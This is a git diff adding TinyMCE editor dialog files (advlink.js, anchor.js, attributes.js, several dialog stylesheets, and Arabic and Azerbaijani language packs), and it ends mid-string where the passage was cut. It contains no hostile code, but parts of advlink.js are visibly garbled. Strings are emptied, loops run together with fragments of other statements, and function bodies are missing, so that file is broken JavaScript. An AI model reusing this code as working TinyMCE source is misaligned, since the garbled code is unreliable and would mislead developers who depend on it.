b/js/tiny_mce/themes/advanced/skins/o2k7/advhr.css new file mode 100755 index 0000000..3fe369c --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/advhr.css @@ -0,0 +1,5 @@ +input.radio {border:1px none #000; background:transparent; vertical-align:middle;} +.panel_wrapper div.current {height:80px;} +#width {width:50px; vertical-align:middle;} +#width2 {width:50px; vertical-align:middle;} +#size {width:100px;} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/advimage.css b/js/tiny_mce/themes/advanced/skins/o2k7/advimage.css new file mode 100755 index 0000000..228530f --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/advimage.css @@ -0,0 +1,13 @@ +#src_list, #over_list, #out_list {width:280px;} +.mceActionPanel {margin-top:7px;} +.alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} +.checkbox {border:0;} +.panel_wrapper div.current {height:305px;} +#prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} +#align, #classlist {width:150px;} +#width, #height {vertical-align:middle; width:50px; text-align:center;} +#vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} +#class_list {width:180px;} +input {width: 280px;} +#constrain, #onmousemovecheck {width:auto;} +#id, #dir, #lang, #usemap, #longdesc {width:200px;} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/advlink.css b/js/tiny_mce/themes/advanced/skins/o2k7/advlink.css new file mode 100755 index 0000000..66c6549 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/advlink.css @@ -0,0 +1,8 @@ +.mceLinkList, .mceAnchorList, #targetlist {width:280px;} +.mceActionPanel {margin-top:7px;} +.panel_wrapper div.current {height:320px;} +#classlist, #title, #href {width:280px;} +#popupurl, #popupname {width:200px;} +#popupwidth, #popupheight, #popupleft, #popuptop {width:30px;vertical-align:middle;text-align:center;} +#id, #style, #classes, #target, #dir, #hreflang, #lang, #charset, #type, #rel, #rev, #tabindex, #accesskey {width:200px;} +#events_panel input {width:200px;} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/advlink.js b/js/tiny_mce/themes/advanced/skins/o2k7/advlink.js new file mode 100755 index 0000000..2862e4c --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/advlink.js @@ -0,0 +1,539 @@ +/* Functions for the advlink plugin popup */ + +tinyMCEPopup.requireLangPack(); + +var templates = { + "window.open" : "window.open('${url}','${target}','${options}')" +}; + +function preinit() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); +} + +function changeClass() { + var f = document.forms[0]; + + f.classes.value = getSelectValue(f, 'classlist'); +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + var formObj = document.forms[0]; + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + var action = "insert"; + var html; + + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); + document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); + document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); + + // Link list + html = getLinkListHTML('linklisthref','href'); + if (html == "") + document.getElementById("linklisthrefrow").style.display = 'none'; + else + document.getElementById("linklisthrefcontainer").innerHTML = html; + + // Anchor list + html = getAnchorListHTML('anchorlist','href'); + if (html == "") + document.getElementById("anchorlistrow").style.display = 'none'; + else + document.getElementById("anchorlistcontainer").innerHTML = html; + + // Resize some elements + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '260px'; + + if (isVisible('popupurlbrowser')) + document.getElementById('popupurl').style.width = '180px'; + + elm = inst.dom.getParent(elm, "A"); + if (elm == null) { + var prospect = inst.dom.create("p", null, inst.selection.getContent()); + if (prospect.childNodes.length === 1) { + elm = prospect.firstChild; + } + } + + if (elm != null && elm.nodeName == "A") + action = "update"; + + formObj.insert.value = tinyMCEPopup.getLang(action, 'Insert', true); + + setPopupControlsDisabled(true); + + if (action == "update") { + var href = inst.dom.getAttrib(elm, 'href'); + var onclick = inst.dom.getAttrib(elm, 'onclick'); + + // Setup form data + setFormValue('href', href); + setFormValue('title', inst.dom.getAttrib(elm, 'title')); + setFormValue('id', inst.dom.getAttrib(elm, 'id')); + setFormValue('style', inst.dom.getAttrib(elm, "style")); + setFormValue('rel', inst.dom.getAttrib(elm, 'rel')); + setFormValue('rev', inst.dom.getAttrib(elm, 'rev')); + setFormValue('charset', inst.dom.getAttrib(elm, 'charset')); + setFormValue('hreflang', inst.dom.getAttrib(elm, 'hreflang')); + setFormValue('dir', inst.dom.getAttrib(elm, 'dir')); + setFormValue('lang', inst.dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', inst.dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', inst.dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('type', inst.dom.getAttrib(elm, 'type')); + setFormValue('onfocus', inst.dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', inst.dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', inst.dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', inst.dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', inst.dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', inst.dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', inst.dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', inst.dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', inst.dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', inst.dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', inst.dom.getAttrib(elm, 'onkeyup')); + setFormValue('target', inst.dom.getAttrib(elm, 'target')); + setFormValue('classes', inst.dom.getAttrib(elm, 'class')); + + // Parse onclick data + if (onclick != null && onclick.indexOf('window.open') != -1) + parseWindowOpen(onclick); + else + parseFunction(onclick); + + // Select by the values + selectByValue(formObj, 'dir', inst.dom.getAttrib(elm, 'dir')); + selectByValue(formObj, 'rel', inst.dom.getAttrib(elm, 'rel')); + selectByValue(formObj, 'rev', inst.dom.getAttrib(elm, 'rev')); + selectByValue(formObj, 'linklisthref', href); + + if (href.charAt(0) == '#') + selectByValue(formObj, 'anchorlist', href); + + addClassesToList('classlist', 'advlink_styles'); + + selectByValue(formObj, 'classlist', inst.dom.getAttrib(elm, 'class'), true); + selectByValue(formObj, 'targetlist', inst.dom.getAttrib(elm, 'target'), true); + } else + addClassesToList('classlist', 'advlink_styles'); +} + +function checkPrefix(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_external'))) + n.value = 'http://' + n.value; +} + +function setFormValue(name, value) { + document.forms[0].elements[name].value = value; +} + +function parseWindowOpen(onclick) { + var formObj = document.forms[0]; + + // Preprocess center code + if (onclick.indexOf('return false;') != -1) { + formObj.popupreturn.checked = true; + onclick = onclick.replace('return false;', ''); + } else + formObj.popupreturn.checked = false; + + var onClickData = parseLink(onclick); + + if (onClickData != null) { + formObj.ispopup.checked = true; + setPopupControlsDisabled(false); + + var onClickWindowOptions = parseOptions(onClickData['options']); + var url = onClickData['url']; + + formObj.popupname.value = onClickData['target']; + formObj.popupurl.value = url; + formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); + formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); + + formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); + formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); + + if (formObj.popupleft.value.indexOf('screen') != -1) + formObj.popupleft.value = "c"; + + if (formObj.popuptop.value.indexOf('screen') != -1) + formObj.popuptop.value = "c"; + + formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; + formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; + formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; + formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; + formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; + formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; + formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; + + buildOnClick(); + } +} + +function parseFunction(onclick) { + var formObj = document.forms[0]; + var onClickData = parseLink(onclick); + + // TODO: Add stuff here +} + +function getOption(opts, name) { + return typeof(opts[name]) == "undefined" ? "" : opts[name]; +} + +function setPopupControlsDisabled(state) { + var formObj = document.forms[0]; + + formObj.popupname.disabled = state; + formObj.popupurl.disabled = state; + formObj.popupwidth.disabled = state; + formObj.popupheight.disabled = state; + formObj.popupleft.disabled = state; + formObj.popuptop.disabled = state; + formObj.popuplocation.disabled = state; + formObj.popupscrollbars.disabled = state; + formObj.popupmenubar.disabled = state; + formObj.popupresizable.disabled = state; + formObj.popuptoolbar.disabled = state; + formObj.popupstatus.disabled = state; + formObj.popupreturn.disabled = state; + formObj.popupdependent.disabled = state; + + setBrowserDisabled('popupurlbrowser', state); +} + +function parseLink(link) { + link = link.replace(new RegExp(''', 'g'), "'"); + + var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); + + // Is function name a template function + var template = templates[fnName]; + if (template) { + // Build regexp + var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); + var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; + var replaceStr = ""; + for (var i=0; i'); + for (var i=0; i' + name + ''; + } + + if (html == "") + return ""; + + html = ''; + + return html; +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm, elementArray, i; + + elm = inst.selection.getNode(); + checkPrefix(document.forms[0].href); + + elm = inst.dom.getParent(elm, "A"); + + // Remove element if there is no href + if (!document.forms[0].href.value) { + i = inst.selection.getBookmark(); + inst.dom.remove(elm, 1); + inst.selection.moveToBookmark(i); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + + // Create new anchor elements + if (elm == null) { + inst.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + elementArray = tinymce.grep(inst.dom.select("a"), function(n) {return inst.dom.getAttrib(n, 'href') == '#mce_temp_url#';}); + for (i=0; i' + tinyMCELinkList[i][0] + ''; + + html += ''; + + return html; + + // tinyMCE.debug('-- image list start --', html, '-- image list end --'); +} + +function getTargetListHTML(elm_id, target_form_element) { + var targets = tinyMCEPopup.getParam('theme_advanced_link_targets', '').split(';'); + var html = ''; + + html += ''; + + return html; +} + +// While loading +preinit(); +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/anchor.js b/js/tiny_mce/themes/advanced/skins/o2k7/anchor.js new file mode 100755 index 0000000..b6c5b69 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/anchor.js @@ -0,0 +1,43 @@ +tinyMCEPopup.requireLangPack(); + +var AnchorDialog = { + init : function(ed) { + var action, elm, f = document.forms[0]; + + this.editor = ed; + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + v = ed.dom.getAttrib(elm, 'name'); + + if (v) { + this.action = 'update'; + f.anchorName.value = v; + } + + f.insert.value = ed.getLang(elm ? 'update' : 'insert'); + }, + + update : function() { + var ed = this.editor, elm, name = document.forms[0].anchorName.value; + + if (!name || !/^[a-z][a-z0-9\-\_:\.]*$/i.test(name)) { + tinyMCEPopup.alert('advanced_dlg.anchor_invalid'); + return; + } + + tinyMCEPopup.restoreSelection(); + + if (this.action != 'update') + ed.selection.collapse(1); + + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + if (elm) { + elm.setAttribute('name', name); + elm.name = name; + } else + ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : name, 'class' : 'mceItemAnchor'}, '')); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ar.js b/js/tiny_mce/themes/advanced/skins/o2k7/ar.js new file mode 100755 index 0000000..9bdeef0 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ar.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advanced',{"underline_desc":"\u062a\u062d\u062a\u0647 \u062e\u0637 (Ctrl U)","italic_desc":"\u0645\u0627\u0626\u0644 (Ctrl+I)","bold_desc":"\u0639\u0631\u064a\u0636 (Ctrl+B)",dd:"\u0627\u0644\u0648\u0635\u0641",dt:"\u062a\u0639\u0631\u064a\u0641 \u0645\u0635\u0637\u0644\u062d",samp:"Code sample",code:"\u0642\u0627\u0646\u0648\u0646",blockquote:"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629",h6:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 6",h5:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 5",h4:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 4",h3:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 3",h2:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 2",h1:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646 1",pre:"\u0645\u0647\u064a\u0623 \u0645\u0633\u0628\u0642",address:"\u0627\u0644\u0639\u0646\u0648\u0627\u0646",div:"\u0627\u0644\u062f\u0631\u062c\u0629",paragraph:"\u0627\u0644\u0646\u0635",block:"\u0627\u0644\u0647\u064a\u0626\u0647",fontdefault:"\u0639\u0627\u0626\u0644\u0647 \u0627\u0644\u062e\u0637","font_size":"\u062d\u062c\u0645 \u0627\u0644\u062e\u0637","style_select":"\u0627\u0644\u0633\u0645\u0627\u062a","more_colors":"\u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0644\u0648\u0627\u0646","toolbar_focus":"\u0644\u0644\u062a\u062d\u0631\u0643 \u0627\u0644\u0633\u0631\u064a\u0639 \u0627\u0636\u063a\u0637 \u0639\u0644\u0649 \u0644\u0648\u062d\u0629 \u0627\u0644\u0645\u0641\u0627\u062a\u064a\u062d Alt Q \u0644\u0623\u0632\u0631\u0627\u0631 \u0627\u0644\u0623\u062f\u0648\u0627\u062a\u060c Alt-Z \u0644\u0644\u0645\u062d\u0631\u0631 \u060c Alt-X \u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0639\u0646\u0635\u0631",newdocument:"\u0647\u0644 \u0623\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0623\u0646\u0643 \u062a\u0631\u064a\u062f \u0645\u0633\u062d \u0643\u0627\u0641\u0629 \u0645\u062d\u062a\u0648\u064a\u0627\u062a\u061f",path:"\u0645\u0633\u0627\u0631","clipboard_msg":"\u0646\u0633\u062e/\u0642\u0635/\u0644\u0635\u0642 \u063a\u064a\u0631 \u0645\u062a\u0648\u0627\u0641\u0631 \u0641\u064a \u0641\u064a\u0631 \u0641\u0648\u0643\u0633 \u062d\u0627\u0644\u064a\u0627 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u062a\u0639\u0631\u0641 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a\u061f","blockquote_desc":"\u0639\u0644\u0627\u0645\u0629 \u0627\u0642\u062a\u0628\u0627\u0633 \u0641\u0642\u0631\u0629","help_desc":"\u0645\u0633\u0627\u0639\u062f\u0647","newdocument_desc":"\u0645\u0633\u062a\u0646\u062f \u062c\u062f\u064a\u062f","image_props_desc":"\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0635\u0648\u0631\u0629","paste_desc":"\u0644\u0635\u0642","copy_desc":"\u0646\u0633\u062e","cut_desc":"\u0642\u0635","anchor_desc":"\u0625\u062f\u0631\u0627\u062c / \u062a\u062d\u0631\u064a\u0631 \u0645\u0631\u0633\u0627\u0629","visualaid_desc":"\u0627\u0644\u0645\u0628\u0627\u062f\u0626 \u0627\u0644\u062a\u0648\u062c\u064a\u0647\u064a\u0629 \u062a\u0628\u062f\u064a\u0644 / \u0639\u0646\u0627\u0635\u0631 \u063a\u064a\u0631 \u0645\u0631\u0626\u064a\u0629","charmap_desc":"\u0627\u062f\u062e\u0627\u0644 \u0631\u0645\u0632 \u062c\u062f\u064a\u062f","backcolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","forecolor_desc":"\u0627\u062e\u062a\u0631 \u0644\u0648\u0646 \u0627\u0644\u0646\u0635","custom1_desc":"\u0627\u062f\u062e\u0644 \u0627\u0644\u0648\u0635\u0641 \u0647\u0646","removeformat_desc":"\u0627\u0632\u0627\u0644\u0647 \u0627\u0644\u062a\u0646\u0633\u064a\u0642","hr_desc":"\u0627\u062f\u0631\u0627\u062c \u062e\u0637 \u0627\u0641\u0642\u0649","sup_desc":"\u0645\u0631\u062a\u0641\u0639","sub_desc":"\u0645\u0646\u062e\u0641\u0636","code_desc":"\u062a\u0639\u062f\u064a\u0644 \u0634\u0641\u0631\u0647 \u0627\u0644 \u0623\u062a\u0634 \u062a\u064a \u0623\u0645 \u0623\u0644","cleanup_desc":"\u062a\u0646\u0638\u064a\u0641 \u0627\u0644\u0643\u0648\u062f","image_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062d\u0630\u0641 \u0635\u0648\u0631\u0647","unlink_desc":"\u062d\u0630\u0641 \u0627\u0644\u0631\u0627\u0628\u0637","link_desc":"\u0627\u0636\u0627\u0641\u0647 / \u062a\u0639\u062f\u064a\u0644 \u0631\u0627\u0628\u0637","redo_desc":"\u0627\u0644\u0625\u0639\u0627\u062f\u0629 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0635)","undo_desc":"\u062a\u0631\u0627\u062c\u0639 (\u0627\u0644\u0633\u064a\u0637\u0631\u0629 + \u0649)","indent_desc":"\u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629","outdent_desc":"\u0625\u0646\u0642\u0627\u0635 \u0627\u0644\u0645\u0633\u0627\u0641\u0629 \u0627\u0644\u0628\u0627\u062f\u0626\u0629 \u0642\u0628\u0644","numlist_desc":"\u0642\u0627\u0626\u0645\u0629 \u0645\u0631\u062a\u0628\u0629","bullist_desc":"\u0642\u0627\u0626\u0645\u0629 \u063a\u064a\u0631 \u0645\u0631\u062a\u0628\u0629","justifyfull_desc":"\u0645\u062d\u0627\u0630\u0627\u0647 \u0643\u0644\u064a\u0647","justifyright_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0645\u064a\u0646","justifycenter_desc":"\u062a\u0648\u0633\u064a\u0637 \u0648\u0633\u0637","justifyleft_desc":"\u062a\u0648\u0633\u064a\u0637 \u064a\u0633\u0627\u0631","striketrough_desc":"\u062a\u0648\u0633\u064a\u0637 \u062e\u0637","help_shortcut":"\u0627\u0636\u063a\u0637 ALT-F10 \u0644\u0634\u0631\u064a\u0637 \u0627\u0644\u0627\u062f\u0648\u0627\u062a. \u0627\u0636\u063a\u0637 ALT-0 \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0647","rich_text_area":"\u0645\u0646\u0637\u0642\u0629 \u0627\u0644\u062a\u0639\u062f\u064a\u0644\u0627\u062a","shortcuts_desc":"Accessability Help",toolbar:"\u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ar_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/ar_dlg.js new file mode 100755 index 0000000..9ee0c39 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advhr_dlg',{size:"\u0627\u0644\u0627\u0631\u062a\u0641\u0627\u0639",noshade:"\u0644\u0627 \u0638\u0644",width:"\u0627\u0644\u0639\u0631\u0636",normal:"\u0627\u0644\u0637\u0628\u064a\u0639\u064a",widthunits:"\u0627\u0644\u0648\u062d\u062f\u0627\u062a"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/attributes.css b/js/tiny_mce/themes/advanced/skins/o2k7/attributes.css new file mode 100755 index 0000000..85b1b37 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/attributes.css @@ -0,0 +1,11 @@ +.panel_wrapper div.current { + height: 290px; +} + +#id, #style, #title, #dir, #hreflang, #lang, #classlist, #tabindex, #accesskey { + width: 200px; +} + +#events_panel input { + width: 200px; +} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/attributes.js b/js/tiny_mce/themes/advanced/skins/o2k7/attributes.js new file mode 100755 index 0000000..9e9b07e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/attributes.js @@ -0,0 +1,111 @@ +/** + * attributes.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + tinyMCEPopup.resizeToInnerSize(); + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + var elm = inst.selection.getNode(); + var f = document.forms[0]; + var onclick = dom.getAttrib(elm, 'onclick'); + + setFormValue('title', dom.getAttrib(elm, 'title')); + setFormValue('id', dom.getAttrib(elm, 'id')); + setFormValue('style', dom.getAttrib(elm, "style")); + setFormValue('dir', dom.getAttrib(elm, 'dir')); + setFormValue('lang', dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('onfocus', dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', dom.getAttrib(elm, 'onkeyup')); + className = dom.getAttrib(elm, 'class'); + + addClassesToList('classlist', 'advlink_styles'); + selectByValue(f, 'classlist', className, true); + + TinyMCE_EditableSelects.init(); +} + +function setFormValue(name, value) { + if(value && document.forms[0].elements[name]){ + document.forms[0].elements[name].value = value; + } +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + + setAllAttribs(elm); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); +} + +function setAttrib(elm, attrib, value) { + var formObj = document.forms[0]; + var valueElm = formObj.elements[attrib.toLowerCase()]; + var inst = tinyMCEPopup.editor; + var dom = inst.dom; + + if (typeof(value) == "undefined" || value == null) { + value = ""; + + if (valueElm) + value = valueElm.value; + } + + dom.setAttrib(elm, attrib.toLowerCase(), value); +} + +function setAllAttribs(elm) { + var f = document.forms[0]; + + setAttrib(elm, 'title'); + setAttrib(elm, 'id'); + setAttrib(elm, 'style'); + setAttrib(elm, 'class', getSelectValue(f, 'classlist')); + setAttrib(elm, 'dir'); + setAttrib(elm, 'lang'); + setAttrib(elm, 'tabindex'); + setAttrib(elm, 'accesskey'); + setAttrib(elm, 'onfocus'); + setAttrib(elm, 'onblur'); + setAttrib(elm, 'onclick'); + setAttrib(elm, 'ondblclick'); + setAttrib(elm, 'onmousedown'); + setAttrib(elm, 'onmouseup'); + setAttrib(elm, 'onmouseover'); + setAttrib(elm, 'onmousemove'); + setAttrib(elm, 'onmouseout'); + setAttrib(elm, 'onkeypress'); + setAttrib(elm, 'onkeydown'); + setAttrib(elm, 'onkeyup'); + + // Refresh in old MSIE +// if (tinyMCE.isMSIE5) +// elm.outerHTML = elm.outerHTML; +} + +function insertAttribute() { + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); +tinyMCEPopup.requireLangPack(); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/az.js b/js/tiny_mce/themes/advanced/skins/o2k7/az.js new file mode 100755 index 0000000..1edbec2 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/az.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advanced',{"underline_desc":"Altdan x\u0259tt (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Yar\u0131qal\u0131n (Ctrl+B)",dd:"Terminin m\u00fc\u0259yy\u0259n edilm\u0259si",dt:"M\u00fc\u0259yy\u0259n edil\u0259n termin",samp:"Kod n\u00fcmun\u0259si",code:"Kod",blockquote:"Sitat bloku",h6:"Ba\u015fl\u0131q 6",h5:"Ba\u015fl\u0131q 5",h4:"Ba\u015fl\u0131q 4",h3:"Ba\u015fl\u0131q 3",h2:"Ba\u015fl\u0131q 2",h1:"Ba\u015fl\u0131q 1",pre:"Formatlanm\u0131\u015f m\u0259tn",address:"\u00dcnvan",div:"B\u00f6lm\u0259",paragraph:"Abzas",block:"Format",fontdefault:"\u015erift","font_size":"\u015erift \u00f6l\u00e7\u00fc\u015f\u00fc","style_select":"Still\u0259r","image_delta_width":"65","more_colors":"Daha \u00e7ox r\u0259ng","toolbar_focus":"Alt+Q - al\u0259t d\u00fcym\u0259l\u0259rin\u0259 ke\u00e7, Alt-Z - redaktoruna ke\u00e7, Alt-X - elementl\u0259r yoluna ke\u00e7",newdocument:"\u0130\u00e7ind\u0259kil\u0259ri tam t\u0259mizl\u0259m\u0259kd\u0259 \u0259minsiniz?",path:"Yol","clipboard_msg":"Kopyalama/\u018flav\u0259 et Mozilla v\u0259 Firefox-da i\u015fl\u0259mir.\nN\u0259 ba\u015f verdiyi haqda daha \u0259trafl\u0131 \u00f6yr\u0259nm\u0259k ist\u0259yirsiniz?","blockquote_desc":"Sitat bloku","help_desc":"K\u00f6m\u0259k","newdocument_desc":"Yeni s\u0259n\u0259d","image_props_desc":"\u015e\u0259kil x\u00fcsusiyy\u0259ti","paste_desc":"\u018flav\u0259 et","copy_desc":"Kopyala","cut_desc":"K\u0259s","anchor_desc":"L\u00f6vb\u0259r \u0259lav\u0259/redakt\u0259 et","visualaid_desc":"G\u00f6nd\u0259ril\u0259n/g\u00f6r\u00fcnm\u0259z elementl\u0259ri yand\u0131r/s\u00f6nd\u00fcr","charmap_desc":"X\u00fcsusi simvol \u0259lav\u0259 et","backcolor_desc":"Fonun r\u0259ngini se\u00e7","forecolor_desc":"M\u0259tnin r\u0259ngini se\u00e7","custom1_desc":"\u00d6z t\u0259svirinizi daxil edin","removeformat_desc":"Formatlaman\u0131 l\u0259\u011fv et","hr_desc":"\u00dcf\u00fcqi x\u0259tt \u0259lav\u0259 et","sup_desc":"Yuxar\u0131 indeks","sub_desc":"A\u015fa\u011f\u0131 indeks","code_desc":"HTML-m\u0259nb\u0259ni redakt\u0259 et","cleanup_desc":"\u018fyri kodu t\u0259mizl\u0259","image_desc":"\u018flav\u0259 et/\u015f\u0259kili redakt\u0259 et","unlink_desc":"Ke\u00e7idi sil","link_desc":"\u018flav\u0259 et/ke\u00e7idi redakt\u0259 et","redo_desc":"T\u0259krarla (Ctrl+Y)","undo_desc":"L\u0259\u011fv et (Ctrl+Z)","indent_desc":"Bo\u015f yeri b\u00f6y\u00fct","outdent_desc":"Bo\u015f yeri ki\u00e7ilt","numlist_desc":"N\u00f6mr\u0259l\u0259nmi\u015f siyah\u0131","bullist_desc":"Qeyd edilmi\u015f siyah\u0131","justifyfull_desc":"Enin\u0259 d\u00fczl\u0259ndir","justifyright_desc":"Sa\u011fdan d\u00fczl\u0259ndir","justifycenter_desc":"M\u0259rk\u0259z\u0259 d\u00fczl\u0259ndir","justifyleft_desc":"Soldan d\u00fczl\u0259ndir","striketrough_desc":"Qaralanm\u0131\u015f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/az_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/az_dlg.js new file mode 100755 index 0000000..a1d0ecc --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advhr_dlg',{size:"H\u00fcnd\u00fcrl\u00fcy\u00fc",noshade:"K\u00f6lg\u0259 